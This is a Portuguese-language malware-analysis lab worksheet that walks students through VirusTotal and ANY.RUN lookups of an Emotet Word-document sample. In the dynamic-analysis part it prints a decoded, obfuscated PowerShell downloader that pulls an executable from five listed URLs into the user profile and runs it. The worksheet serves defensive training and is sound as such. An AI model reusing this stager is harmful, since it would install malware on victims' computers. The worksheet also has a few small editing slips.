Laboratório - Ferramentas de investigação de malware on-line

# Objetivos

Parte 1: Executar análise estática de malware

Parte 2: Executar análise dinâmica de malware

Parte 3: Investigar um Exploit

# Apresentação

Há muitas ferramentas de análise de malware disponíveis online. Essas ferramentas fornecem funções de referência e análise. Por exemplo, você pode enviar indicadores de comprometimento (IOC), como hashes de arquivo, URLs ou endereços IP, e a ferramenta consultará o IOC e retornará informações sobre explorações que compartilham essas características. Arquivos suspeitos também podem ser enviados. A análise estática de malware pode enviar o arquivo para uma coleção de programas antivírus e retornar os resultados. Uma análise mais aprofundada também pode ser realizada dissecando os arquivos no nível binário. Os sandboxes online realizarão uma análise dinâmica de malware, na qual a exploração do malware é executada da mesma forma que infecta um computador host vulnerável. Isso é feito ao executar o malware em uma máquina virtual com ferramentas especiais que monitoram o comportamento do malware. Isso é conhecido como um sandbox de malware.

A análise dinâmica de malware fornece informações detalhadas sobre o comportamento do malware e os artefatos que ele cria. Essas informações podem ser usadas para identificar versões novas ou atualizadas de malware, avaliar os efeitos de uma infecção e levar a descobertas de explorações futuras. Por exemplo, algum malware é usado como um serviço de entrega para outras explorações de malware. O malware do serviço de entrega pode ser identificado, mas o malware que ele distribuiu pode não ser. A análise dinâmica pode revelar o que foi entregue e a exploração pode ser mais investigada. Neste laboratório, você usará duas ferramentas de investigação de malware on-line para aprender sobre uma exploração.

# Cenário

Você está trabalhando na XYZ, Inc. como um técnico cibernético. Você foi solicitado a ajudar um analista de segurança digital a avaliar os alertas de segurança gerados pelo IPS (Sistema de prevenção contra invasão). O IPS sinalizou uma série de eventos como potencialmente mal-intencionados. O analista forneceu um grupo de IOCs em potencial para investigar. Você está usando duas ferramentas on-line para realizar análises estáticas e dinâmicas com base nos IOCs. Embora seja possível enviar arquivos de malware também, o analista acredita que é melhor usar os IOCs até que você tenha mais experiência em lidar com arquivos de malware reais.

# Recursos necessários

=    1 PC com acesso à Internet

=   CSE-LABVM

# Instruções

## Parte 1: Executar análise estática de malware

Nesta parte, você enviará um hash de arquivo para um serviço online que pesquisará o hash e retornará informações sobre o arquivo de malware associado. O hash do arquivo é uma representação computada, ou impressão digital, de um arquivo. Os hashes de arquivo são únicos e extremamente difíceis de duplicar.

### Etapa 1: Enviar o hash.

Nesta etapa, você enviará o valor de hash para uma ferramenta de análise de malware estática que fornece mais informações sobre o arquivo de malware, caso ele seja conhecido pela ferramenta.

a.     Inicie o CSE-LABVM.

b.     Abra um navegador da Web e acesse o site **VirusTotal**.

c.     O hash do arquivo que você recebeu é:

**05383088d0d46a5b5f4de852703601a6c39f04844ab63a1850197fcb011f3c81**

Selecione e copie o valor do hash. Clique na entrada **Pesquisar** no menu do VírusTotal e cole o hash na caixa de pesquisa. Pressione a tecla Enter para executar a pesquisa.

d.     O VirusTotal tem informações sobre o arquivo, o que significa que um arquivo com o mesmo hash foi enviado anteriormente para análise. Você verá os resultados da análise.

#### Perguntas:

O malware entrou na rede da XYZ, Inc.?

Digite suas respostas aqui.

Em seu trabalho, o que você deve fazer agora?

Digite suas respostas aqui.

### Etapa 2: Interpretar as informações totais de vírus.

a.     O VirusTotal envia arquivos que foram carregados pelo público para vários agentes antivírus para análise. Neste caso foi submetido a 63 produtos de antivírus.

#### Pergunta:

Quantos dos produtos de antivírus marcaram o arquivo como mal-intencionado? O que isso diz sobre a confiabilidade dos programas antivírus?

Digite suas respostas aqui

b.     Selecione a guia **Detalhes**. Aqui você pode saber mais sobre o arquivo. Revise as informações fornecidas. Observe que algumas dessas informações podem não ser precisas e podem exigir confirmação com outros sites.

#### Pergunta:

Que tipo de arquivo foi identificado como malware?

Digite suas respostas aqui.

c.     Alterne para a guia **Relações**. Aqui você pode ver os IOCs, como os endereços IP, sites e domínios que o malware tentou entrar em contato. Você também verá hashes para os arquivos criados ou baixados nesses domínios. Além disso, você pode ver os arquivos e processos relacionados à execução do malware no computador host.

#### Pergunta:

Qual é o primeiro domínio ao qual o malware faz uma solicitação HTTP?

Digite suas respostas aqui.

d.     Alterne para a guia **Comportamento**. Analise as informações disponíveis aqui. Abaixo da barra de menu, há a lista suspensa que permite selecionar informações de diferentes sandboxes de malware. Solte a lista e selecione **VMRay**, se ainda não estiver selecionado.

O malware usa comandos de shell para abrir programas e processos. Localize as informações sobre os comandos do shell que são executados durante a exploração. Esse malware abre o MS Windows PowerShell e passa um valor para ele.

#### Pergunta:

O que é incomum nesse valor?

Digite suas respostas aqui.

e.     Clique na guia **Community (Comunidade)**. Veja os dois envios de. Essas são as assinaturas da YARA processadas pelo scanner THOR APT, uma ferramenta de avaliação de comprometimento da Nextron Systems. Revise as assinaturas. Você não precisa entender tudo.

#### Perguntas:

O que são assinaturas YARA?

Digite suas respostas aqui.

Nos campos de descrição nas assinaturas YARA, o que você pode aprender sobre como o malware usa o PowerShell?

Digite suas respostas aqui.

## Parte 2: Executar análise dinâmica de malware

Agora vamos usar outra ferramenta para analisar os resultados de uma análise dinâmica em um arquivo de malware enviado pela comunidade. ANY.RUN é uma empresa que oferece um sandbox online dinâmico e interativo exclusivo. ANY.RUN oferece um serviço gratuito no qual os usuários da comunidade podem carregar arquivos suspeitos de malware para análise. Ele oferece um conjunto muito rico de análises que oferecem uma visão do comportamento do malware. Os assinantes da versão completa do ANY.RUN podem executar o malware em uma máquina virtual e interagir com o malware se ações do usuário forem necessárias para acioná-lo. Os usuários gratuitos só podem executar amostras de malware em uma máquina virtual Windows 7 de 32 bits, no entanto, os assinantes pagantes podem escolher o sistema operacional que se adapta ao ambiente.

O sandbox ANY.RUN pode executar dinamicamente o malware e exibir detalhes do que o malware faz em uma interface de análise segura. Os usuários pagantes também podem interagir com a sandbox VM na qual o malware é executado. Eles podem responder às solicitações do malware e inspecionar o sistema operacional infectado.

Como o vírus, você pode procurar IOCs para ver os resultados das análises dinâmicas ou interativas concluídas anteriormente. Nesta parte do laboratório, enviaremos o mesmo hash de arquivo para ANY.RUN e analisaremos os resultados.

### Etapa 1: Acessar ANY.RUN e enviar o IOC

a.     Em um navegador da Web, navegue até **ANY.RUN**. Clique em **Serviço** no menu horizontal para ir para a interface de serviço do sandbox.

b.     ANY.RUN fornece um painel em tempo real do cenário atual de ameaças de malware com estatísticas relacionadas à distribuição de ameaças de malware e à proporção de envios recentes que foram considerados mal-intencionados, suspeitos ou sem ameaças. Clique em um dos países no mapa para mostrar a lista de envios públicos desse país. Os usuários da comunidade podem visualizar uma análise detalhada para cada envio. Explore e familiarize-se com este painel.

### Etapa 2: Enviar o IOC e analisar os resultados

a.     Para pesquisar valores de hash, clique em **Tarefas públicas** no menu à esquerda.

b.     Aqui, você pode ver a lista de tarefas públicas que podem ser acessadas. Eles são organizados de acordo com o envio mais recente. As tarefas são rotuladas com o veredicto de análise. Alguns são confirmados como malware e outros são arquivos benignos e outros são suspeitos.

c.     Cole o hash da Parte 1 na caixa de pesquisa no canto superior direito da janela e pressione Enter.

d.     Você verá uma página de exploits de malware que têm um artefato que corresponde ao valor de hash.

#### Pergunta:

Role a lista de envios públicos. Qual é o nome do arquivo que corresponde ao hash? Há apenas um?

Digite suas respostas aqui.

e.     Localize a entrada com data de **1 de junho de 2019** para o arquivo **Data-5544-J5823545.doc**. Clique na entrada.

**Observação**: ANY.RUN executa o malware na sandbox. Às vezes, o malware não executa completamente, então alguns envios não incluem detalhes de toda a exploração. Por exemplo, se o acesso a um servidor de comando e controle (CnC ou C2) for necessário na Internet, é possível que o servidor não esteja disponível. Se for esse o caso, a exploração pode interromper a execução antes de atingir seu objetivo. Por esse motivo, é importante analisar várias entradas nos resultados da pesquisa para encontrar uma que parece ter sido totalmente executada.

### Etapa 3: Explore a interface

A interface de análise ANY.RUN fornece informações sobre muitos aspectos do comportamento do malware.

a.     A área de trabalho mostrada consiste em uma série de capturas de tela da área de trabalho em diferentes estágios do processo de infecção por malware. Passe o mouse sobre a imagem e mova o mouse para a direita ou esquerda para percorrer as capturas de tela. Em muitos casos, não há nada para ver, pois o malware não exibe nada na tela enquanto funciona. Às vezes, se a entrada do usuário for necessária para executar o malware, em vez de uma captura de tela, você poderá ver um filme que captura as ações do usuário que foram conduzidas como parte do processo de infecção do malware.

#### Pergunta:

Revise as telas do início ao fim. Pelo que você vê nas telas, qual parece ser a primeira parte do processo de infecção por vírus?

Digite suas respostas aqui.

b.     No lado direito da tela, você verá a árvore de processo que exibe um grupo de barras horizontais em uma estrutura aninhada em forma de árvore. Esta é uma árvore de processos. Ele mostra todos os processos de software que foram usados na exploração. Alguns deles são componentes de software do Windows e outros fazem parte do malware.

c.     Clique no primeiro processo na árvore. As informações sobre esse processo aparecem abaixo da árvore. Clique no botão **Mais informações** para ver mais detalhes sobre o processo.

#### Perguntas:

Que processo é esse?

Digite suas respostas aqui.

Observe a linha de comando. Qual arquivo foi passado como argumento para o comando que executa o MS Word?

Digite suas respostas aqui.

Qual papel você acha que esse arquivo de documento teve na exploração de malware? Sinta-se à vontade para pesquisar a resposta na Web.

Digite suas respostas aqui.

### Etapa 4: Analisar um script ofuscado

a.     Feche a janela **Mais informações** clicando no "x" no canto superior direito. Clique no processo imediatamente abaixo do processo do MS Word. Clique em **Mais informações** para visualizar os detalhes.

#### Perguntas:

Qual é o nome do processo? Qual é o seu propósito?

Digite suas respostas aqui.

O PowerShell é frequentemente usado por agentes de ameaças em ataques de vida fora da terra (LotL). O que é um ataque de LotL e como o PowerShell permite esses ataques? Use a Internet para procurar respostas conforme necessário.

Digite suas respostas aqui.

b.     Na janela **Detalhes Avançados do Processo** (mais informações), observe a entrada de linha de comando. Este é o comando emitido pela macro de malware no documento do Word. Vocês podem ver o comando **PowerShell** e dois argumentos que foram passados para o comando, e a sequência longa que vimos

c.     Copie a sequência usando o ícone de cópia ao lado do título **Linha de comando**

d.     IAbra um terminal para salvar o texto copiado em um arquivo de texto chamado **text** com o comando **echo** . O **texto** do nome do arquivo é usado como exemplo para esta atividade.

cisco@labvm:~$ **echo “***conteúdo de texto copiado***” > text**

em que "conteúdo de texto copiado" é o comando do **powershell**.

e.     Abra o arquivo de **texto** utilizando um editor de texto. Um editor de texto baseado em GUI, Pluma, está disponível nesta VM.

f.     No arquivo de **texto**, remova a cadeia, **powershell -nop -e**. Sakve e feche o arquivo.

g.     No terminal, use o comando **base64** **-d** para decodificar os dados binários como texto e a saída é canalizada para um novo arquivo de texto, **text\_64**. O nome do arquivo **text\_64** é usado como exemplo para esta atividade

cisco@labvm:~$ **cat text | base64 -d > text\_64**

h.     No Pluma, abra o arquivo **text\_**64, e você verá o decodificado abaixo, mas com quebra diferente, dependendo do tamanho da janela do terminal.

$R3ZtKC='FCams3Q';$d1mU0azd = 184';$XMzUsP='PD2Qisza';$tZTLXzZq=$env:userprofile+'\'+$d1mU0azd+'.exe';$zlBUq6='Q0HuEwi';$pTl4Jz=.('n'+'e'+'w-object') nET.W`EbC`Li`Ent;$NUzAMAR='http://agavea.com.br/font/tMfyxzMEnQ/@http://news-week.ru/2018/wvq6nzd\_kywgcjzgi-273/@http://ab.fitzio.com/cgi-bin/opiFtEAsf/@http://palmbeachresortcebu.com/wp-content/uploads/t9smfqj3\_blm4xo-69526194/@http://thingsmadeforyouapps.com/wp-admin/VpVOXxek/'.SPLit('@');$NOBJJj='Eo1jszRQ';foreach($j5YzrQKQ in $NUzAMAR){try{$pTl4Jz.DOwNlOADfiLe($j5YzrQKQ, $tZTLXzZq);$SHHj3v='Mpi\_Cz1s';If ((.('G'+'et'+'-Item') $tZTLXzZq).LenGTh -ge 31421) {[Diagnostics.Process]::sTarT($tZTLXzZq);$s1EoklR='fL2dzmIj';break;$TQ0NStMF='mANFqY'}}catch{}}$Zi7lBM='qFLbpU'

i.      O texto ainda é um pouco difícil de ler, mas você provavelmente pode escolher alguns recursos conhecidos. Usaremos o editor de texto para facilitar a leitura.

1)    Clique em **Pesquisas** > **Substituir**.

2)    Digite **;** (ponto e vírgula) no campo **Pesquisar**.

3)    Insira **\n** no campo Substituir Por.

4)    Marque a caixa de seleção **Combinar com expressão regular**.

5)    Clique em **Substituir tudo**.

6)    Por fim, repita as etapas acima para @. O "@" é usado como um separador para uma declaração particularmente longa. Digite **@** no campo Localizar e substitua por **\n**.

O código formatado deve ficar assim:

  1 $R3ZtKC='FCams3Q'

  2 $d1mU0azd = '184'

  3 $XMzUsP='PD2Qisza'

  4 $tZTLXzZq=$env:userprofile+'\'+$d1mU0azd+'.exe'

  5 $zlBUq6='Q0HuEwi'

  6 $pTl4Jz=.('n'+'e'+'w-object') nET.W`EbC`Li`Ent

  7 $NUzAMAR='http://agavea.com.br/font/tMfyxzMEnQ/

  8 http://news-week.ru/2018/wvq6nzd\_kywgcjzgi-273/

  9 http://ab.fitzio.com/cgi-bin/opiFtEAsf/

 10 http://palmbeachresortcebu.com/wp-content/uploads/t9smfqj3\_blm4xo- 69526194/

 11 http://thingsmadeforyouapps.com/wp-admin/VpVOXxek/'.SPLit('

 12 ')

 13 $NOBJJj='Eo1jszRQ'

 14 foreach($j5YzrQKQ in $NUzAMAR){try{$pTl4Jz.DOwNlOADfiLe($j5YzrQKQ, $tZTLXzZq    )

 15 $SHHj3v='Mpi\_Cz1s'

 16 If ((.('G'+'et'+'-Item') $tZTLXzZq).LenGTh -ge 31421) {[Diagnostics.Process]    ::sTarT($tZTLXzZq)

 17 $s1EoklR='fL2dzmIj'

 18 break

 19 $TQ0NStMF='mANFqY'}}catch{}}$Zi7lBM='qFLb

j.      Salve o arquivo **text\_64**, se desejar.

### Etapa 5: Interpretar o script de malware

Embora o arquivo ainda seja difícil de ler porque usa grupos aleatórios de caracteres para nomes de variáveis e valores, e também tenta ofuscar comandos usando letras maiúsculas e outras erráticas, um pouco de conhecimento de programação pode ajudá-lo a ter uma ideia do que é acontecendo.

a.      Observe que uma série de URLs aparece no código. Envie vários deles para ANY.RUN, VirusTotal ou outro serviço para ver se são mal-intencionados.

b.      Observe que o nome da variável $tZTLXzZq aparece na linha quatro do código acima. Seu valor é concatenado com o texto '.exe'.

#### Perguntas:

Qual é o valor atribuído a $tZTLXzZq na linha 2?

Digite suas respostas aqui.

Retorne para o ANY.RUN. Qual é o próximo processo abaixo do PowerShell?

Digite suas respostas aqui.

c.     Veja a linha 14. O comando é **foreach($j5YzrQKQ in $NUzAMAR)**.

#### Pergunta:

Qual é o conteúdo da variável $NUzAMAR conforme atribuído nas linhas 8 - 11?

Digite suas respostas aqui.

em seguida, executa o arquivo baixado 184.exe.

### Etapa 6: Exibir detalhes de conexões de malware e ameaças conhecidas

a.     Abaixo da visualização da área de trabalho, há uma série de guias que fornecem detalhes do comportamento do malware. A primeira guia mostra o comportamento da rede e as ameaças conhecidas. Clique na guia Solicitações HTTP. Ele mostra os processos que tentaram fazer conexões por HTTP.

**Observação**: embora você esteja trabalhando em uma VM, não é recomendável tentar se conectar a qualquer uma dessas URLs.

#### Perguntas:

Com qual URL o powershell.exe se conectou com sucesso? Isso corresponderá a uma das URLs na pasta

Digite suas respostas aqui.

Que processo começa então a emitir solicitações para a Web?

Digite suas respostas aqui.

O novo processo tenta se comunicar com uma série de URLs. De qual URL o processo baixa arquivos binários?

Digite suas respostas aqui.

b.     Clique na guia **Conexões**. Aqui você pode ver um cronograma das conexões que foram feitas durante a exploração do malware. Na guia **DNS**, é possível ver as solicitações de DNS feitas pelo malware. Observe que você pode baixar PCAPs para conexões e solicitações de DNS. Esses arquivos podem ser abertos no Wireshark para posterior análise.

c.     Clique na guia **Ameaças** Aqui você verá mensagens de alerta IPS da Suricata chamadas identificadores de assinatura (SID). Esses alertas são acionados por vários comportamentos de malware, conforme detectado pelas regras de IDS / IPS. Essas mensagens são usadas por várias plataformas de monitoramento de segurança de rede.

## Parte 3: Investigar um Exploit

Investigamos várias características dessa exploração, mas não aprendemos muito sobre a exploração em si. ANY.RUN mantém uma enciclopédia de malware chamada Tracker. Se existir um artigo do Rastreador para a amostra de malware, ANY.RUN está vinculado ao artigo.

**Observação**: talvez seja necessário se registrar em uma conta no Any.Run para visualizar alguns dos recursos abordados nesta parte.

a.     No painel à direita, na interface, há um cabeçalho que fornece informações sobre o malware, incluindo o hash MD5 do arquivo, o tempo necessário para executar a exploração na sandbox e uma série de tags. Se você clicar em uma marca, será direcionado para uma pesquisa de tarefas que listará todas as explorações enviadas que compartilham essa marca.

b.     Sob as tags estão vários botões. Clique em IOC para ver todos os IOCs do malware enviado. Esses IOCs são diagnósticos para a exploração. Encontrar qualquer um deles nos dados de monitoramento de rede pode indicar uma exploração.

c.     Por fim, abaixo das tags, há um link para o Tracker. Conforme indicado, a exploração de malware é conhecida e o Emotet. Clique no link para ler sobre o Emotet e responder às perguntas abaixo.

#### Perguntas:

Que tipo de malware é o Emotet e quais são suas principais funções?

Digite suas respostas aqui.

O Emotet exibe polimorfismo. O que isso quer dizer?

Digite suas respostas aqui.

Qual é o vetor de ataque que espalhou o malware para as possíveis vítimas?

Digite suas respostas aqui.

O que os usuários devem saber para não infectar seus computadores (e outros hosts na rede) com o Emotet?

Digite suas respostas aqui.

d.     Volte à página de análise da variante de malware Emotet com a qual temos trabalhado. Abaixo do nome do arquivo de malware, você verá uma série de marcas. Clique na tag **Emotet**. Isso executará uma pesquisa por outro malware que tenha sido identificado como Emotet. Clique em vários relatórios de envio público até encontrar vários que parecem ter sido executados com sucesso na sandbox. Você deverá ver várias solicitações de HTTP que ocorreram durante o processo de infecção.

#### Pergunta:

O que você vê de diferente nesses envios do relatório que analisamos?

Digite suas respostas aqui.

# Questões para Reflexão

1.     Você obteve informações significativas sobre a forma como uma exploração de malware sofisticada funciona. O que você aprendeu sobre essas explorações em geral (não necessariamente sobre o Emotet)?

Digite suas respostas aqui.

2.     Fique on-line e investigue outros aplicativos de sandbox, ferramentas on-line e execute localmente. Descreva várias outras ferramentas e o que elas fazem. Digite suas respostas aqui.

Digite suas respostas aqui.

Fim do documento